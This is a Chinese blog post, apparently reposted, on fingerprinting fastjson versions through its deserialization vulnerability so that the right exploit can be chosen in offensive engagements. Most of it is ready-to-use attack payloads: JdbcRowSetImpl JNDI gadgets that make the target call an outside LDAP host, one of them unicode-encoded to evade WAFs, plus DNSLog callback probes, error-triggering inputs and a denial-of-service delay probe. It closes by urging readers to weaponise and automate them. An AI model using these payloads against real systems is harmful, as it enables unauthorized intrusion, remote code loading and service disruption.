fastjson反序列化漏洞区分版本号的方法总结

判断漏洞是否存在,无非是以下几种方法:

1 显错判断

想办法使服务器组件抛出异常,也就是报错,在报错中得到我们想要的信息。

2 DNS请求判断

想办法触发一个DNS请求,前提是服务器出网,并且外围设备开放了DNS协议,然后你的dnslog服务地址没被监控设备拦截;

3 TCP、UDP端口请求判断

这里不止一个人问过我,用DNS请求直接判断就可以了,为啥还得用端口来判断呢?这里我举一个例子,如果一个内网机器,它没配DNS的话,然后机器又是出网的,dnslog是收不到请求的,那么只能TCP或者UDP来判断了,这种情况我遇到过好几次了)。

4 延迟判断

想办法使其触发一个延迟。可以执行Java的sleep代码,可以像mysql注入那样计算一个公式bench.mark(5000000,m.d5( 'test' )),也可以发起一个轻微的DoS请求。5、其它方法,比较少见,而且不适用于本次fastjson漏洞检测,这里就不具体叙述了。

延迟判断

1 jndi请求延迟

首先看这个payload,适用于1.2.47之前版本的fastjson这里面有一个小技巧,访问一个不常见的外网IP地址,会延迟几秒,访问一个内网地址127.0.0.1 会瞬间返回,那么证明这个POC可用,也间接证明fastjson版本是1.2.47之前的版本那么在不出网的情况下,可以借助这个POC的延迟效果,知道目标fastjson是<=1.2.47的,进而可以花时间和精力去构造POC实现回显,或者直接打一个内存马。

以下是一个经过unicode编码的payload,一定程度上可以绕过一些waf,后续更多的fastjson绕waf方法,会专门写一篇文章讲解

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://11.111.22.222/test111","autoCommit":true}}

源码:
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://11.111.22.222/test111","autoCommit":true}}

以下这个POC延迟,证明fastjson版本号1.1.16<=version<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://137.30.0.1:9999/POC","autoCommit":true}}

2 DOS漏洞触发延迟

这个POC来自于浅蓝,POC中的aaa的长度越长,触发延迟效果越明显,如果有延迟效果,那么证明fastjson版本<=1.2.59,间接证明fastjson版本<=1.2.68,这个非常重要,这说明,这个fastjson是有可能拿下权限的,值得我们在实战中花很多精力去研究它。

注:此POC慎用,不确定是否会影响业务系统,我一般实战中,是逐步增加a的数量的,切不可生搬硬套,输入一大堆a

显错判断

这个方法来自于浅蓝,两个POC如下,提交一下两个POC,会抛出异常,有时候会显示出fastjson版本号来。

1. {"@type": "java.lang.AutoCloseable"
2. ["test":1] 
3. 输入一些乱码字符,让web应用报错,有时候也会带出来版本号。

第2个POC成功率不高,但是实战中成功过几次。

DNS请求判断

我曾经搭建了不同的fastjson漏洞环境,发现网上很多文章对于各种fastjson漏洞dnslog payload与fastjson版本号的对应描述都不准确,很多还是有错误的。这里我发出自己校勘的结果,不一定准确,仅供大家参考。

以下POC出网,说明fastjson<=1.2.47

{"name":{"@type":"java.net.InetAddress","val":"1247.xxxxx.dnslog.cn"}}

以下这个POC出网,说明fastjson>=1.2.37

{{"@type":"java.net.URL","val":"http://weffewfddd.dnslog.cn"}:"aaa"}

以下这个POC出网,证明fastjson版本号1.1.16<=version<=1.2.24

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxxdsf.dnslog.cn:9999/POC","autoCommit":true}}

以下这几个POC,只能证明fastjson出网,无法判断fastjson是否存在反序列化漏洞,因为最新的打了补丁的fastjson也是能发起DNS请求的。这是很多新手,误以为能DNS出网,就认为存在fastjson漏洞,这是不正确的。

{"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"}

{"@type":"java.net.Inet4Address","val":"xxxxx.dnslog.cn"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}

以下这个POC比较不错,是之前从天眼设备上抓到的,实战中用一用会有意想不到的效果。

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://allmet.dnslog.cn"}}""}

Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}]

Set[{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}

{{"@type":"java.net.URL","val":"http://allmet.dnslog.cn"}:0

总结

1. 把以上的各种方法组合起来判断,写一个自动化fuzz工具,基本上大致可以判断出fastjson版本号的区间了,以便我们在实战中对症下药,快速拿下权限。

2. 上述的这些过程,部分同学可能无法理解,这么费心思的去判断fastjson版本号的意义何在?台上一分钟,台下十年功,这样的总结为的就是在实战中快速拿下权限,否则一次比赛3、4天,怼一个fastjson用了大半天时间,发现人家的版本是最新的,岂不白费功夫。还有可能一个fastjson反序列化漏洞,我们搞不定,但是发现别人搞定了,最后一咨询发现是POC是1.2.68的写文件拿下来的,但是我们却以为是最新版本,没有去尝试。

3. 还有很多POC可以用于fastjson版本判断,篇幅有限,就不一一列举了。大家可以按照上述思路自己总结出一套方法,做成小脚本或自动化工具,向工具化、武器化、自动化、平台化迈进!就很容易在实战中得到fastsjon版本号的区间,快速进行漏洞研判了。

4. 以上叙述如果有错误,欢迎大家批评指正。

文章来源:https://mp.weixin.qq.com/s/iSS-dj84Ck34CapHDPKY6g

posted @ 2022-07-31 18:50  komomon  阅读(4184)  评论(0编辑  收藏  举报